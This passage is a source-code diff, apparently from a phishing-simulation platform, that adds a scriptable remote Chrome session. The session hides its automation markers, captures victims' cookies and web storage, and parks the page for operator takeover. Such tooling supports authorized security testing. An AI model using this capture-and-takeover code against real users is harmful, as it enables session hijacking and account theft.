!goja.IsUndefined(v) && !goja.IsNull(v) { + opts.IdleTimeout = int(v.ToInteger()) + } + if v := obj.Get("debug"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Debug = v.ToBoolean() + } + if v := obj.Get("chromeDebug"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.ChromeDebug = v.ToBoolean() + } + if v := obj.Get("queryTimeout"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.QueryTimeout = int(v.ToInteger()) + } + if v := obj.Get("userAgent"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.UserAgent = v.String() + } + if v := obj.Get("lang"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Lang = v.String() + } + if v := obj.Get("extraFlags"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + if arr, ok := v.Export().([]interface{}); ok { + for _, item := range arr { + if s, ok := item.(string); ok && s != "" { + opts.ExtraFlags = append(opts.ExtraFlags, s) + } + } + } + } + } + } + + var browser *rod.Browser + var page *rod.Page + + if opts.Remote != "" { + if opts.Proxy != "" { + emitter.log(fmt.Sprintf("[session] warning: proxy %q ignored for remote browser", opts.Proxy)) + } + // ResolveURL normalises any of: bare port "9222", "http://host:9222", + // or a full "ws://..." URL to the actual DevTools WebSocket URL by + // fetching /json/version. Users don't need to copy the UUID manually. + wsURL, resolveErr := launcher.ResolveURL(opts.Remote) + if resolveErr != nil { + emitter.errorf(fmt.Sprintf("browser connect failed: cannot resolve remote URL %q: %v", opts.Remote, resolveErr)) + return goja.Undefined() + } + emitter.log(fmt.Sprintf("[session] connecting to remote browser at %s", wsURL)) + browser = rod.New().ControlURL(wsURL).Context(outerCtx) + if connectErr := browser.Connect(); connectErr != nil { + emitter.errorf(fmt.Sprintf("browser connect failed: %v", connectErr)) + return goja.Undefined() + } + var pageErr error + page, pageErr = browser.Page(proto.TargetCreateTarget{URL: "about:blank"}) + if pageErr != nil { + emitter.errorf(fmt.Sprintf("page create failed: %v", pageErr)) + browser.Close() //nolint:errcheck + return goja.Undefined() + } + } else { + rootDir, err := resolveBrowserRootDir() + if err != nil { + emitter.errorf(err.Error()) + return goja.Undefined() + } + // Newer Chromium requires writable XDG dirs and a crash-dumps-dir at + // startup (see go-rod#1126). Use subdirs of the browser root so all + // Chrome-related data lives in one place. + crashDir := filepath.Join(rootDir, "crashes") + if err := os.MkdirAll(crashDir, 0755); err != nil { + emitter.log(fmt.Sprintf("[session] warning: could not create crash dir: %v", err)) + } + if err := os.MkdirAll(filepath.Join(rootDir, "config"), 0755); err != nil { + emitter.log(fmt.Sprintf("[session] warning: could not create config dir: %v", err)) + } + if err := os.MkdirAll(filepath.Join(rootDir, "cache"), 0755); err != nil { + emitter.log(fmt.Sprintf("[session] warning: could not create cache dir: %v", err)) + } + + var chromeLogger io.Writer = io.Discard + if opts.ChromeDebug || r.Logger != nil { + cw := &chromeSterrWriter{logger: r.Logger} + if opts.ChromeDebug { + cw.emitter = emitter + } + chromeLogger = cw + } + l := launcher.New(). + Headless(opts.Headless). + Logger(chromeLogger). + Set("disable-crash-reporter"). + Set("crash-dumps-dir", crashDir). + Set("disable-blink-features", "AutomationControlled"). + Delete("enable-automation"). + Env(chromeEnv( + "XDG_CONFIG_HOME="+filepath.Join(rootDir, "config"), + "XDG_CACHE_HOME="+filepath.Join(rootDir, "cache"), + )...) + + if r.ExecPath != "" { + emitter.log(fmt.Sprintf("[session] using browser: %s", r.ExecPath)) + l = l.Bin(r.ExecPath) + } else { + b := launcher.NewBrowser() + b.RootDir = rootDir + binPath := b.BinPath() + if _, err := os.Stat(binPath); os.IsNotExist(err) { + if err := b.Download(); err != nil { + emitter.errorf(fmt.Sprintf("browser download failed: %v", err)) + return goja.Undefined() + } + } + emitter.log(fmt.Sprintf("[session] using browser: %s", binPath)) + l = l.Bin(binPath) + } + if opts.Proxy != "" { + emitter.log(fmt.Sprintf("[session] using proxy: %s", opts.Proxy)) + l = l.Proxy(opts.Proxy).Set("proxy-bypass-list", "") + } + if opts.Lang != "" { + // Sets navigator.language, navigator.languages, and the Accept-Language + // HTTP header at the process level - consistent across main frame and + // Web Workers (unlike Page.addScriptToEvaluateOnNewDocument which only + // runs in the main frame). + emitter.log(fmt.Sprintf("[session] using lang: %s", opts.Lang)) + l = l.Set("lang", opts.Lang).Set("accept-lang", opts.Lang) + } + for _, rawFlag := range opts.ExtraFlags { + rawFlag = strings.TrimSpace(rawFlag) + // "!--flag-name" removes a flag from the launcher (e.g. to strip a rod default). + if strings.HasPrefix(rawFlag, "!--") { + name := flags.Flag(strings.TrimPrefix(rawFlag, "!--")) + l = l.Delete(name) + emitter.log(fmt.Sprintf("[session] removed flag: --%s", string(name))) + continue + } + if !strings.HasPrefix(rawFlag, "--") { + continue + } + rawFlag = strings.TrimPrefix(rawFlag, "--") + parts := strings.SplitN(rawFlag, "=", 2) + key := flags.Flag(parts[0]) + if len(parts) == 2 { + l = l.Set(key, parts[1]) + } else { + l = l.Set(key) + } + emitter.log(fmt.Sprintf("[session] extra flag: --%s", parts[0])) + } + u, err := l.Launch() + if err != nil { + emitter.errorf(fmt.Sprintf("browser launch failed: %v", err)) + return goja.Undefined() + } + // Kill and clean up Chrome when the session ends. Without this, stopping + // a run before s.close() is called leaves a zombie Chrome process (~200-300 MB). + go func() { + <-outerCtx.Done() + l.Kill() + l.Cleanup() + }() + browser = rod.New().ControlURL(u).Context(outerCtx) + if err := browser.Connect(); err != nil { + emitter.errorf(fmt.Sprintf("browser connect failed: %v", err)) + return goja.Undefined() + } + page, err = browser.Page(proto.TargetCreateTarget{URL: "about:blank"}) + if err != nil { + emitter.errorf(fmt.Sprintf("page create failed: %v", err)) + browser.Close() //nolint:errcheck + return goja.Undefined() + } + /* + // ignore "debugger;" code lines explicitly + err = proto.DebuggerSetSkipAllPauses{Skip: true}.Call(page) + if err != nil { + emitter.errorf(fmt.Sprintf("skip debug failed: %v", err)) + browser.Close() //nolint:errcheck + return goja.Undefined() + } + // patch console Log + _, err = page.EvalOnNewDocument(`() => { + const noop = () => {}; + + console.log = noop; + console.table = noop; + console.clear = noop; + console.debug = noop; + console.info = noop; + console.warn = noop; + }`) + if err != nil { + emitter.errorf(fmt.Sprintf("console patch failed: %v", err)) + browser.Close() //nolint:errcheck + return goja.Undefined() + } + */ + } + + // Apply user-agent override. When headless and no explicit UA is set we use + // DefaultChromiumUA to strip "HeadlessChrome" from the header + ua := opts.UserAgent + if ua == "" && opts.Headless { + ua = DefaultChromiumUA + } + if ua != "" { + if err := page.SetUserAgent(&proto.NetworkSetUserAgentOverride{UserAgent: ua}); err != nil { + emitter.log(fmt.Sprintf("[session] warning: failed to set user-agent: %v", err)) + } + } + + // Signal the controller that a page is ready for streaming. + select { + case r.BrowserCh <- page: + default: + } + + session := vm.NewObject() + RegisterBrowserBindings(vm, session, page, emitter, opts.Debug, opts.QueryTimeout) + + session.Set("withTimeout", func(call goja.FunctionCall) goja.Value { + ms := call.Argument(0).ToInteger() + fn, ok := goja.AssertFunction(call.Argument(1)) + if !ok { + panic(vm.NewTypeError("withTimeout: second argument must be a function")) + } + tCtx, tCancel := context.WithTimeout(page.GetContext(), time.Duration(ms)*time.Millisecond) + defer tCancel() + tPage := page.Context(tCtx) + tmpSession := vm.NewObject() + RegisterBrowserBindings(vm, tmpSession, tPage, nil, opts.Debug, opts.QueryTimeout) + _, err := fn(goja.Undefined(), tmpSession) + if err != nil { + // If our own timeout context expired, return false instead of + // propagating — lets callers branch without try/catch. + if tCtx.Err() != nil { + return vm.ToValue(false) + } + panic(err) + } + return vm.ToValue(true) + }) + + session.Set("close", func(call goja.FunctionCall) goja.Value { + emitter.log("[session] closing") + if opts.Remote != "" { + page.Close() //nolint:errcheck + } else { + browser.Close() //nolint:errcheck + } + return goja.Undefined() + }) + + // keepAlive signals the caller that the page is available for operator + // takeover and cancels the script timeout so the parked session isn't + // killed after 60 s. It is intentionally non-blocking: the script + // continues after the call (so emit() calls after keepAlive() reach + // the victim). Run() parks itself after RunString returns. + session.Set("keepAlive", func(call goja.FunctionCall) goja.Value { + emitter.log("[session] keeping alive for remote takeover") + // Re-bind page to outerCtx before cancelling the timeout context. + // The browser was created with the timed ctx; if we cancel it first, + // page.GetContext() closes and StreamLiveSession fires "Session ended" + // before the operator even connects. + livePage := page.Context(outerCtx) + select { + case r.LiveCh <- livePage: + default: + } + emitter.sendMust(outerCtx, RunEvent{ + Type: "keep_alive", + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) + r.keepAliveActive.Store(true) + timeoutCancel() // release script timeout — operator controls lifetime now + return goja.Undefined() + }) + + // Event-driven API: s.on(event, fn) + s.listen() + s.done() + handlers := map[string]goja.Callable{} + listenDone := make(chan struct{}, 1) + + session.Set("on", func(call goja.FunctionCall) goja.Value { + event := call.Argument(0).String() + fn, ok := goja.AssertFunction(call.Argument(1)) + if !ok { + panic(vm.NewTypeError("on: second argument must be a function")) + } + handlers[event] = fn + return goja.Undefined() + }) + + session.Set("done", func(call goja.FunctionCall) goja.Value { + select { + case listenDone <- struct{}{}: + default: + } + return goja.Undefined() + }) + + session.Set("listen", func(call goja.FunctionCall) goja.Value { + emitter.log("[session] listening for events") + + var idleCh <-chan time.Time + var idleTimer *time.Timer + resetIdle := func() { + if opts.IdleTimeout > 0 { + if idleTimer != nil { + idleTimer.Stop() + } + idleTimer = time.NewTimer(time.Duration(opts.IdleTimeout) * time.Millisecond) + idleCh = idleTimer.C + } + } + defer func() { + if idleTimer != nil { + idleTimer.Stop() + } + }() + resetIdle() + + for { + select { + case <-ctx.Done(): + return goja.Undefined() + case <-listenDone: + return goja.Undefined() + case <-idleCh: + emitter.log(fmt.Sprintf("[session] idle timeout (%dms), closing", opts.IdleTimeout)) + if opts.Remote != "" { + page.Close() //nolint:errcheck + } else { + browser.Close() //nolint:errcheck + } + return goja.Undefined() + case msg := <-r.Incoming: + resetIdle() + fn, exists := handlers[msg.Event] + if !exists { + emitter.log(fmt.Sprintf("[session] no handler for %q, ignoring", msg.Event)) + continue + } + if _, err := fn(goja.Undefined(), vm.ToValue(msg.Data)); err != nil { + panic(err) + } + } + } + }) + + // s.stream(selector, name) — non-blocking; returns {stop()} to end the stream. + // The caller (controller) watches StreamCh to start/stop cropped frame forwarding. + streamDebug := opts.Debug // capture bool, not struct field, to match RegisterBrowserBindings pattern + session.Set("stream", func(call goja.FunctionCall) goja.Value { + selector := vmArgStr(call.Argument(0)) + name := vmArgStr(call.Argument(1)) + if selector == "" || name == "" { + panic(vm.NewTypeError("stream: selector and name are required")) + } + maxFps := 0 + quality := 0 + if len(call.Arguments) > 2 { + if obj := call.Argument(2).ToObject(vm); obj != nil { + if v := obj.Get("maxFps"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + maxFps = int(v.ToInteger()) + } + if v := obj.Get("quality"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + quality = int(v.ToInteger()) + } + } + } + if streamDebug { + emitter.log(fmt.Sprintf("[dbg] → stream %s as %q (maxFps=%d, quality=%d)", selector, name, maxFps, quality)) + } + select { + case r.StreamCh <- StreamCmd{Op: "start", Selector: selector, Name: name, Page: page, MaxFps: maxFps, Quality: quality}: + default: + emitter.log(fmt.Sprintf("[stream] warning: StreamCh full, dropping start for %q", name)) + } + if streamDebug { + emitter.log(fmt.Sprintf("[dbg] ✓ stream %s as %q started", selector, name)) + } + stopObj := vm.NewObject() + stopped := false + stopObj.Set("stop", func(call goja.FunctionCall) goja.Value { + if !stopped { + stopped = true + if streamDebug { + emitter.log(fmt.Sprintf("[dbg] → stream stop %q", name)) + } + select { + case r.StreamCh <- StreamCmd{Op: "stop", Name: name}: + default: + emitter.log(fmt.Sprintf("[stream] warning: StreamCh full, dropping stop for %q", name)) + } + if streamDebug { + emitter.log(fmt.Sprintf("[dbg] ✓ stream stop %q", name)) + } + } + return goja.Undefined() + }) + return stopObj + }) + + session.Set("capture", func(call goja.FunctionCall) goja.Value { + // Options: + // domains []string - filter cookies to these domains via CDP (e.g. ["google.com"]) + // cookieNames []string - only keep cookies with these names + // localStorage bool - include localStorage (default true when no domains given) + // sessionStorage bool - include sessionStorage (default true when no domains given) + var domains []string + var cookieNames []string + lsExplicit, ssExplicit := false, false + capLS := true + capSS := true + + if len(call.Arguments) > 0 { + obj := call.Argument(0).ToObject(vm) + if obj != nil { + if v := obj.Get("domains"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + if arr, ok := v.Export().([]any); ok { + for _, d := range arr { + domains = append(domains, fmt.Sprintf("%v", d)) + } + } + } + if v := obj.Get("cookieNames"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + if arr, ok := v.Export().([]any); ok { + for _, n := range arr { + cookieNames = append(cookieNames, fmt.Sprintf("%v", n)) + } + } + } + if v := obj.Get("localStorage"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + capLS = v.ToBoolean() + lsExplicit = true + } + if v := obj.Get("sessionStorage"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + capSS = v.ToBoolean() + ssExplicit = true + } + } + } + + // When domains are specified, skip storage by default unless the caller explicitly opted in. + if len(domains) > 0 { + if !lsExplicit { + capLS = false + } + if !ssExplicit { + capSS = false + } + } + + result := map[string]any{} + + if len(domains) > 0 { + urls := make([]string, len(domains)) + for i, d := range domains { + d = strings.TrimPrefix(d, ".") + if !strings.HasPrefix(d, "http") { + d = "https://" + d + } + urls[i] = d + } + res, err := proto.NetworkGetCookies{Urls: urls}.Call(page) + if err == nil { + cookies := res.Cookies + // Filter by name if requested. + if len(cookieNames) > 0 { + nameSet := make(map[string]bool, len(cookieNames)) + for _, n := range cookieNames { + nameSet[n] = true + } + filtered := cookies[:0] + for _, c := range cookies { + if nameSet[c.Name] { + filtered = append(filtered, c) + } + } + cookies = filtered + } + result["cookies"] = cookies + } else { + emitter.log(fmt.Sprintf("[capture] cookies: %s", err)) + } + } else { + res, err := proto.StorageGetCookies{}.Call(page) + if err == nil { + cookies := res.Cookies + // Filter by name if requested. + if len(cookieNames) > 0 { + nameSet := make(map[string]bool, len(cookieNames)) + for _, n := range cookieNames { + nameSet[n] = true + } + filtered := cookies[:0] + for _, c := range cookies { + if nameSet[c.Name] { + filtered = append(filtered, c) + } + } + cookies = filtered + } + result["cookies"] = cookies + } else { + emitter.log(fmt.Sprintf("[capture] cookies: %s", err)) + } + } + + evalStorage := func(key string, storeName string) { + script := fmt.Sprintf(`() => (function(){try{var s=window[%q],o={};for(var i=0;i{var el=%s;if(!el)return null;var b=el.getBoundingClientRect();return(b.width!==0||b.height!==0)?%s:null}`, q, r) + case "ready": + return fmt.Sprintf(`()=>{var el=%s;if(!el)return null;var b=el.getBoundingClientRect();if(b.width===0&&b.height===0)return null;return el.disabled?null:%s}`, q, r) + case "enabled": + return fmt.Sprintf(`()=>{var el=%s;return(el&&!el.disabled)?%s:null}`, q, r) + case "notVisible": + return fmt.Sprintf(`()=>{var el=%s;if(!el)return %s;var b=el.getBoundingClientRect();return(b.width===0&&b.height===0)?%s:null}`, q, r, r) + case "notPresent": + return fmt.Sprintf(`()=>{return !%s?%s:null}`, q, r) + default: // "present" + return fmt.Sprintf(`()=>{return %s?%s:null}`, q, r) + } + } + + // s.race(conditions) races DOM conditions, URL substrings, and incoming events + // simultaneously. condition keys: visible, ready, enabled, notVisible, notPresent, + // present (DOM), url (substring), event (name). + // Returns { key, value } for whichever condition fires first. + session.Set("race", func(call goja.FunctionCall) goja.Value { + if len(call.Arguments) == 0 { + panic(vm.NewTypeError("race: expected an object with named conditions")) + } + condObj := call.Argument(0).ToObject(vm) + + type domCond struct{ key, selector, condJS string } + type urlCond struct { + key string + match func(string) bool + display string // for logging + } + type evtCond struct{ key, event string } + + var doms []domCond + var urls []urlCond + var evts []evtCond + evtSet := map[string]string{} + var timeoutCh <-chan time.Time + var timeoutKey string + + domTypes := []string{"visible", "ready", "enabled", "notVisible", "notPresent", "present"} + + for _, k := range condObj.Keys() { + v := condObj.Get(k).ToObject(vm) + if v == nil { + continue + } + matched := false + for _, ct := range domTypes { + if sel := v.Get(ct); sel != nil && !goja.IsUndefined(sel) && !goja.IsNull(sel) { + doms = append(doms, domCond{k, sel.String(), raceDOMCondJS(ct, sel.String())}) + matched = true + break + } + } + if matched { + continue + } + if u := v.Get("urlContains"); u != nil && !goja.IsUndefined(u) && !goja.IsNull(u) { + pat := u.String() + urls = append(urls, urlCond{k, func(s string) bool { return strings.Contains(s, pat) }, pat}) + } else if u := v.Get("urlMatch"); u != nil && !goja.IsUndefined(u) && !goja.IsNull(u) { + re, ok := u.Export().(*regexp.Regexp) + if !ok { + panic(vm.NewTypeError("race: urlMatch value must be a RegExp")) + } + urls = append(urls, urlCond{k, re.MatchString, re.String()}) + } else if e := v.Get("event"); e != nil && !goja.IsUndefined(e) && !goja.IsNull(e) { + evts = append(evts, evtCond{k, e.String()}) + evtSet[e.String()] = k + } else if a := v.Get("after"); a != nil && !goja.IsUndefined(a) && !goja.IsNull(a) { + timeoutCh = time.After(time.Duration(a.ToInteger()) * time.Millisecond) + timeoutKey = k + } + } + + makeResult := func(key string, value interface{}) goja.Value { + emitter.log(fmt.Sprintf("[race] matched %q = %v", key, value)) + res := vm.NewObject() + res.Set("key", key) + res.Set("value", vm.ToValue(value)) + return res + } + + // Drain event queue before blocking + for i, msg := range eventQueue { + if key, ok := evtSet[msg.Event]; ok { + eventQueue = append(eventQueue[:i], eventQueue[i+1:]...) + return makeResult(key, msg.Data) + } + } + + urlDisplays := make([]string, len(urls)) + for i, u := range urls { + urlDisplays[i] = u.display + } + emitter.log(fmt.Sprintf("[race] waiting: doms=%d urls=%v events=%d", len(doms), urlDisplays, len(evts))) + + ticker := time.NewTicker(100 * time.Millisecond) + defer ticker.Stop() + + for { + select { + case <-ctx.Done(): + panic(vm.NewGoError(ctx.Err())) + + case <-timeoutCh: + return makeResult(timeoutKey, "timeout") + + case msg := <-r.Incoming: + if key, matched := evtSet[msg.Event]; matched { + return makeResult(key, msg.Data) + } + enqueue(msg) + + case <-ticker.C: + for _, d := range doms { + res, err := page.Eval(d.condJS) + if err != nil { + continue + } + if res.Value.Nil() { + continue + } + if s := res.Value.Str(); s != "" && s != "null" && s != "undefined" { + return makeResult(d.key, d.selector) + } + } + if len(urls) > 0 { + info, err := page.Info() + if err == nil { + for _, u := range urls { + if u.match(info.URL) { + return makeResult(u.key, info.URL) + } + } + } + } + } + } + }) + + return session + }) + + _, err := vm.RunString("(function(){\n" + r.Script + "\n})()") + if err != nil { + // errors.Is/As traverse goja.Exception.Unwrap(), which extracts the Go error + // stored in the "value" property of a GoError object. Do NOT use + // ex.Value().Export().(error) — that returns map[string]interface{} for JS + // objects and always fails the type assertion. + var stopErr scriptStopError + if errors.As(err, &stopErr) { + emitter.done() + return nil + } + if errors.Is(err, context.DeadlineExceeded) { + // Check whether the *global* script timeout fired. If ctx.Err() is + // DeadlineExceeded, the outer context expired — surface a clear timeout + // message and send the session_timeout lifecycle event to the victim page. + // Otherwise this is a per-operation timeout (withTimeout, queryTimeout). + if errors.Is(ctx.Err(), context.DeadlineExceeded) { + emitter.errorf(fmt.Sprintf("script timed out after %ds", r.Config.Timeout/1000)) + emitter.emit("session_timeout", nil) + } else { + emitter.errorf("operation timed out") + } + emitter.done() + return nil + } + if errors.Is(err, context.Canceled) { + // Three distinct cancellation sources share this error value: + // 1. keepAlive() called timeoutCancel() → ctx canceled, outerCtx still live. + // Any subsequent ctx.Done() select in race/waitFor/listen fires immediately + // with context.Canceled, causing RunString to return here before the park + // block below is ever reached. Park explicitly so the browser stays alive. + // 2. Operator or visitor ended the session → outerCtx canceled. + // Emit session_closed so the victim page can react (e.g. redirect). + if r.keepAliveActive.Load() { + emitter.log("[session] script complete (after keepAlive), parked for operator takeover") + <-outerCtx.Done() + emitter.log("[session] keep-alive ended") + emitter.done() + return nil + } + emitter.emit("session_closed", nil) + emitter.done() + return nil + } + // Script-level error: surface the formatted exception. + var ex *goja.Exception + if errors.As(err, &ex) { + emitter.errorf(cleanGoError(ex.String())) + return fmt.Errorf("script error: %s", ex.String()) + } + emitter.errorf(err.Error()) + return err + } + + // keepAlive() was called: script has finished but the browser must stay + // alive for operator takeover. Block here until the operator explicitly + // cancels the session (outerCtx), then emit done so the Events channel + // drains cleanly. + if r.keepAliveActive.Load() { + emitter.log("[session] script complete, parked for operator takeover") + <-outerCtx.Done() + emitter.log("[session] keep-alive ended") + } + + emitter.done() + return nil +} diff --git a/backend/repository/campaign.go b/backend/repository/campaign.go index 2e893d7..56aa36d 100644 --- a/backend/repository/campaign.go +++ b/backend/repository/campaign.go @@ -1413,7 +1413,7 @@ func (r *Campaign) SaveEvent( "ip_address": campaignEvent.IP.String(), "user_agent": campaignEvent.UserAgent.String(), "data": campaignEvent.Data.String(), - "metadata": campaignEvent.Metadata.String(), + "metadata": func() string { if campaignEvent.Metadata == nil { return "" }; return campaignEvent.Metadata.String() }(), } if campaignEvent.RecipientID != nil { row["recipient_id"] = campaignEvent.RecipientID.String() diff --git a/backend/repository/remoteBrowser.go b/backend/repository/remoteBrowser.go new file mode 100644 index 0000000..f2bb20e --- /dev/null +++ b/backend/repository/remoteBrowser.go @@ -0,0 +1,219 @@ +package repository + +import ( + "context" + "encoding/json" + "fmt" + + "github.com/google/uuid" + "github.com/oapi-codegen/nullable" + "github.com/phishingclub/phishingclub/database" + "github.com/phishingclub/phishingclub/errs" + "github.com/phishingclub/phishingclub/model" + "github.com/phishingclub/phishingclub/vo" + "gorm.io/gorm" +) + +var remoteBrowserAllowedColumns = assignTableToColumns(database.REMOTE_BROWSER_TABLE, []string{ + "created_at", + "updated_at", + "name", +}) + +// RemoteBrowserOption controls eager loading and query params. +type RemoteBrowserOption struct { + *vo.QueryArgs + WithCompany bool +} + +// RemoteBrowser is the remote browser repository. +type RemoteBrowser struct { + DB *gorm.DB +} + +func (m *RemoteBrowser) load(options *RemoteBrowserOption, db *gorm.DB) *gorm.DB { + if options.WithCompany { + db = db.Joins("Company") + } + return db +} + +// Insert creates a new remote browser record. +func (m *RemoteBrowser) Insert(ctx context.Context, rb *model.RemoteBrowser) (*uuid.UUID, error) { + id := uuid.New() + row := rb.ToDBMap() + row["id"] = id + AddTimestamps(row) + + res := m.DB.Model(&database.RemoteBrowser{}).Create(row) + if res.Error != nil { + return nil, res.Error + } + return &id, nil +} + +// GetAll returns a paginated list of remote browsers for the given company. +func (m *RemoteBrowser) GetAll( + ctx context.Context, + companyID *uuid.UUID, + options *RemoteBrowserOption, +) (*model.Result[model.RemoteBrowser], error) { + result := model.NewEmptyResult[model.RemoteBrowser]() + var rows []database.RemoteBrowser + + db := m.load(options, m.DB) + db = withCompanyIncludingNullContext(db, companyID, database.REMOTE_BROWSER_TABLE) + db, err := useQuery(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...) + if err != nil { + return result, errs.Wrap(err) + } + if res := db.Find(&rows); res.Error != nil { + return result, res.Error + } + + hasNextPage, err := useHasNextPage(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...) + if err != nil { + return result, errs.Wrap(err) + } + result.HasNextPage = hasNextPage + + for _, row := range rows { + rb, err := ToRemoteBrowser(&row) + if err != nil { + return result, errs.Wrap(err) + } + result.Rows = append(result.Rows, rb) + } + return result, nil +} + +// GetAllSubset returns lightweight overview rows. +func (m *RemoteBrowser) GetAllSubset( + ctx context.Context, + companyID *uuid.UUID, + options *RemoteBrowserOption, +) (*model.Result[model.RemoteBrowserOverview], error) { + result := model.NewEmptyResult[model.RemoteBrowserOverview]() + var rows []database.RemoteBrowser + + db := withCompanyIncludingNullContext(m.DB, companyID, database.REMOTE_BROWSER_TABLE) + db, err := useQuery(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...) + if err != nil { + return result, errs.Wrap(err) + } + if res := db.Select("id, created_at, updated_at, name, description, company_id").Find(&rows); res.Error != nil { + return result, res.Error + } + + hasNextPage, err := useHasNextPage(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...) + if err != nil { + return result, errs.Wrap(err) + } + result.HasNextPage = hasNextPage + + for _, row := range rows { + result.Rows = append(result.Rows, &model.RemoteBrowserOverview{ + ID: *row.ID, + CreatedAt: row.CreatedAt, + UpdatedAt: row.UpdatedAt, + Name: row.Name, + Description: row.Description, + CompanyID: row.CompanyID, + }) + } + return result, nil +} + +// GetByID returns a single remote browser by ID. +func (m *RemoteBrowser) GetByID( + ctx context.Context, + id *uuid.UUID, + options *RemoteBrowserOption, +) (*model.RemoteBrowser, error) { + row := database.RemoteBrowser{} + db := m.load(options, m.DB) + if res := db.Where(TableColumnID(database.REMOTE_BROWSER_TABLE)+" = ?", id).First(&row); res.Error != nil { + return nil, res.Error + } + return ToRemoteBrowser(&row) +} + +// GetByNameAndCompanyID returns a remote browser by name (used for uniqueness checks). +func (m *RemoteBrowser) GetByNameAndCompanyID( + ctx context.Context, + name *vo.String64, + companyID *uuid.UUID, + options *RemoteBrowserOption, +) (*model.RemoteBrowser, error) { + row := database.RemoteBrowser{} + db := m.load(options, m.DB) + db = withCompanyIncludingNullContext(db, companyID, database.REMOTE_BROWSER_TABLE) + res := db.Where( + fmt.Sprintf("%s = ?", TableColumn(database.REMOTE_BROWSER_TABLE, "name")), + name.String(), + ).First(&row) + if res.Error != nil { + return nil, res.Error + } + return ToRemoteBrowser(&row) +} + +// UpdateByID updates the mutable fields of a remote browser. +func (m *RemoteBrowser) UpdateByID(ctx context.Context, id *uuid.UUID, rb *model.RemoteBrowser) error { + row := rb.ToDBMap() + AddUpdatedAt(row) + res := m.DB.Model(&database.RemoteBrowser{}).Where("id = ?", id).Updates(row) + if res.Error != nil { + return res.Error + } + return nil +} + +// DeleteByID hard-deletes a remote browser. +func (m *RemoteBrowser) DeleteByID(ctx context.Context, id *uuid.UUID) error { + if res := m.DB.Delete(&database.RemoteBrowser{}, id); res.Error != nil { + return res.Error + } + return nil +} + +// ToRemoteBrowser maps a database row to the model type. +func ToRemoteBrowser(row *database.RemoteBrowser) (*model.RemoteBrowser, error) { + id := nullable.NewNullableWithValue(*row.ID) + companyID := nullable.NewNullNullable[uuid.UUID]() + if row.CompanyID != nil { + companyID.Set(*row.CompanyID) + } + name := nullable.NewNullableWithValue(*vo.NewString64Must(row.Name)) + + description, err := vo.NewOptionalString1024(row.Description) + if err != nil { + return nil, errs.Wrap(err) + } + descriptionNullable := nullable.NewNullableWithValue(*description) + + script, err := vo.NewString1MB(row.Script) + if err != nil { + return nil, errs.Wrap(err) + } + scriptNullable := nullable.NewNullableWithValue(*script) + + var cfg model.RemoteBrowserConfig + if row.Config != "" { + if err := json.Unmarshal([]byte(row.Config), &cfg); err != nil { + return nil, errs.Wrap(fmt.Errorf("invalid stored config: %w", err)) + } + } + configNullable := nullable.NewNullableWithValue(cfg) + + return &model.RemoteBrowser{ + ID: id, + CreatedAt: row.CreatedAt, + UpdatedAt: row.UpdatedAt, + CompanyID: companyID, + Name: name, + Description: descriptionNullable, + Script: scriptNullable, + Config: configNullable, + }, nil +} diff --git a/backend/seed/migrate.go b/backend/seed/migrate.go index b2fd415..cb5363c 100644 --- a/backend/seed/migrate.go +++ b/backend/seed/migrate.go @@ -58,6 +58,7 @@ func initialInstallAndSeed( &database.OAuthProvider{}, &database.OAuthState{}, &database.MicrosoftDeviceCode{}, + &database.RemoteBrowser{}, } // disable foreign key constraints temporarily for sqlite to allow table recreation @@ -384,6 +385,39 @@ func SeedSettings( } } } + { + // seed remote browser victim WS path - 12 random lowercase alphanumeric chars + id := uuid.New() + var c int64 + res := db. + Model(&database.Option{}). + Where("key = ?", data.OptionKeyRemoteBrowserWSPath). + Count(&c) + + if res.Error != nil { + return errs.Wrap(res.Error) + } + if c == 0 { + b := make([]byte, 12) + _, err := rand.Read(b) + if err != nil { + return errs.Wrap(err) + } + charset := "abcdefghijklmnopqrstuvwxyz0123456789" + wsPath := "" + for i := range b { + wsPath += string(charset[int(b[i])%len(charset)]) + } + res = db.Create(&database.Option{ + ID: &id, + Key: data.OptionKeyRemoteBrowserWSPath, + Value: wsPath, + }) + if res.Error != nil { + return errs.Wrap(res.Error) + } + } + } return nil } diff --git a/backend/service/campaign.go b/backend/service/campaign.go index 9157d81..c0b6cee 100644 --- a/backend/service/campaign.go +++ b/backend/service/campaign.go @@ -57,6 +57,7 @@ type Campaign struct { WebhookService *Webhook MicrosoftDeviceCodeRepository *repository.MicrosoftDeviceCode AttachmentPath string + RemoteBrowserService *RemoteBrowser } // Create creates a new campaign @@ -1880,6 +1881,9 @@ func (c *Campaign) DeleteByID( c.Logger.Errorw("failed to delete campaign by id", "error", err) return errs.Wrap(err) } + if c.RemoteBrowserService != nil { + c.RemoteBrowserService.TerminateByCampaignID(*id) + } c.AuditLogAuthorized(ae) return nil } @@ -3190,6 +3194,9 @@ func (c *Campaign) closeCampaign( c.Logger.Errorw("failed to cancel recipients", "error", err) return errs.Wrap(err) } + if c.RemoteBrowserService != nil { + c.RemoteBrowserService.TerminateByCampaignID(*id) + } err = campaign.Closed() if go_errors.Is(err, errs.ErrCampaignAlreadyClosed) { c.Logger.Debugw("campaign already closed", "error", err) diff --git a/backend/service/remoteBrowser.go b/backend/service/remoteBrowser.go new file mode 100644 index 0000000..533298e --- /dev/null +++ b/backend/service/remoteBrowser.go @@ -0,0 +1,306 @@ +package service + +import ( + "context" + "fmt" + "sync" + + "github.com/go-errors/errors" + "github.com/google/uuid" + "github.com/phishingclub/phishingclub/data" + "github.com/phishingclub/phishingclub/errs" + 